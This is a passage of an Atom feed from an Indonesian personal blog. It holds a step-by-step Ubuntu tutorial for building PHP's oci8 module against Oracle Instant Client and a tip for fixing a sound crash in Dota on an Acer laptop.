href='http://www.blogger.com/feeds/3273247535505995851/posts/default/738238218458813733'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3273247535505995851/posts/default/738238218458813733'/><link rel='alternate' type='text/html' href='http://budiastika.blogspot.com/2008/06/php-injection.html' title='PHP Injection'/><author><name>budiastika</name><uri>http://www.blogger.com/profile/11854144096219803105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_CghXPsJoC_0/SSFIaP2ki1I/AAAAAAAAAAs/OOcyJQZ3iyI/S220/Picture+001.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3273247535505995851.post-3141794779452729874</id><published>2008-06-24T16:07:00.000+07:00</published><updated>2008-06-25T08:56:05.415+07:00</updated><title type='text'>Koneksi Oracle 10g  dengan PHP di buntu</title><content type='html'>&lt;div style="text-align: left;"&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;Jika dana ingin melakukan koneksi Oracle database denganPHP, dana bisa menggunakan  module Oracle's Instant Client dan  oci8 dari pear.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;Caranya:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;Download packages  Basic dan the SDK Dari&lt;br /&gt;&lt;a href="http://www.oracle.com/technology/tech/oci/instantclient/instantclient.html"&gt; http://www.oracle.com/technology/tech/oci/instantclient/instantclient.html. &lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;yaitu  instantclient-basic-linux32-10.2.0.1-20050713.zip dan instantclient-sdk-linux32-10.2.0.1-20050713.zip.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;Unzip File ine ke direktori baru, contoh:. /opt/oracle/instantclient.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;mkdir -p /opt/oracle/instantclient&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;cd /opt/oracle/instantclient&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;unzip instantclient-basic-linux32-10.2.0.1-20050713.zip&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;unzip instantclient-sdk-linux32-10.2.0.1-20050713.zip&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;echo /opt/oracle/instantclient &gt;&gt; /etc/ld.so.conf&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;ldconfig&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;Trus pake perintah&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;ln -s libclntsh.so.10.1 libclntsh.so&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;ln -s libocci.so.10.1 libocci.so&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;Selanjutnya  download module oci8 Dengan pear.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;apt-get install php-pear&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;Seletah itu lakukan perintah berikut&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;mkdir -p /usr/local/src&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;cd /usr/local/src&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;pear download oci8&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;tar xzf oci8-1.1.1.tgz&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;cd oci8-1.1.1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;phpize&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;./configure --with-oci8=shared,instantclient,/opt/oracle/instantclient&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;make&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;make install&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;Untuk mengaktifkan module oci8  pada php.ini (/etc/php5/apache2/php.ini dan /etc/php5/cli/php.ini), Taruh extention berikut&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;extension=oci8.so &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;Restart apache. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;Anda akan menemukan module oci8  dari phpinfo().&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3273247535505995851-3141794779452729874?l=budiastika.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://budiastika.blogspot.com/feeds/3141794779452729874/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://budiastika.blogspot.com/2008/06/koneksi-oracle-10g-dengan-php-di-buntu.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3273247535505995851/posts/default/3141794779452729874'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3273247535505995851/posts/default/3141794779452729874'/><link rel='alternate' type='text/html' href='http://budiastika.blogspot.com/2008/06/koneksi-oracle-10g-dengan-php-di-buntu.html' title='Koneksi Oracle 10g  dengan PHP di buntu'/><author><name>budiastika</name><uri>http://www.blogger.com/profile/11854144096219803105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_CghXPsJoC_0/SSFIaP2ki1I/AAAAAAAAAAs/OOcyJQZ3iyI/S220/Picture+001.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3273247535505995851.post-2481305837307944035</id><published>2008-06-24T10:24:00.002+07:00</published><updated>2008-11-17T17:47:56.546+07:00</updated><title type='text'>Tips Dota di acer 4520</title><content type='html'>&lt;div style="text-align: justify;"&gt;Bulan Mei kemarin aku beli sebuah notebook acer 4520. Ini merupakan Notebook inceran ku. Nah karena aku seneng main dota makanya aku minta kopian file dota sama temen. tapi setelah main sekitar 20 menit keluar error yang menyatakan ada error pada soundcardnya trus bluescreen dan restart dech.. DAlam hati sialllll... Nah pertama saya kira karena filenya kopian. Selanjutnya saya coba untuk meng-instalnya, tapi error tersebut masih muncul. Dengan rasa Penasaran saya cek di setting sound di dota, ternyata di sound providernya yang terpilih adalah creative lab, nah saya mulai sadar notebook ku kan ndak make chipset creative yang dipake nvidia dengan dukungan dolby, dan ternyata di providenya terdapat yang namanya mas dolby ini, saya coba pilih mas yang satu ini dan sampai sekarang error tersebut tidak muncul lagi, untuk jelasnya liat gambar di bawah ,lets.. enjoy....&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_CghXPsJoC_0/SSFKY2kog1I/AAAAAAAAABE/qoAxC7ilMvM/s1600-h/1.JPG"&gt;&lt;img style="cursor: pointer; width: 320px; height: 240px;" src="http://3.bp.blogspot.com/_CghXPsJoC_0/SSFKY2kog1I/AAAAAAAAABE/qoAxC7ilMvM/s320/1.JPG" alt="" id="BLOGGER_PHOTO_ID_5269574829826671442" border="0" /&gt;&lt;/a&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color: rgb(0, 0, 153);font-family:verdana;" &gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_CghXPsJoC_0/SSFKyVuoQuI/AAAAAAAAABM/nvRv-CclqXo/s1600-h/2.JPG"&gt;&lt;img style="cursor: pointer; width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_CghXPsJoC_0/SSFKyVuoQuI/AAAAAAAAABM/nvRv-CclqXo/s320/2.JPG" alt="" id="BLOGGER_PHOTO_ID_5269575267686826722" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_CghXPsJoC_0/SSFK6VryQmI/AAAAAAAAABU/CZvxrIHRHTg/s1600-h/3.JPG"&gt;&lt;img style="cursor: pointer; width: 320px; height: 240px;" src="http://3.bp.blogspot.com/_CghXPsJoC_0/SSFK6VryQmI/AAAAAAAAABU/CZvxrIHRHTg/s320/3.JPG" alt="" id="BLOGGER_PHOTO_ID_5269575405113852514" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3273247535505995851-2481305837307944035?l=budiastika.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://budiastika.blogspot.com/feeds/2481305837307944035/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://budiastika.blogspot.com/2008/06/tips-dota-di-acer-4520.html#comment-form' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3273247535505995851/posts/default/2481305837307944035'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3273247535505995851/posts/default/2481305837307944035'/><link rel='alternate' type='text/html' href='http://budiastika.blogspot.com/2008/06/tips-dota-di-acer-4520.html' title='Tips Dota di acer 4520'/><author><name>budiastika</name><uri>http://www.blogger.com/profile/11854144096219803105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_CghXPsJoC_0/SSFIaP2ki1I/AAAAAAAAAAs/OOcyJQZ3iyI/S220/Picture+001.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_CghXPsJoC_0/SSFKY2kog1I/AAAAAAAAABE/qoAxC7ilMvM/s72-c/1.JPG' height='72' width='72'/><thr:total>1</thr:total></entry></feed>
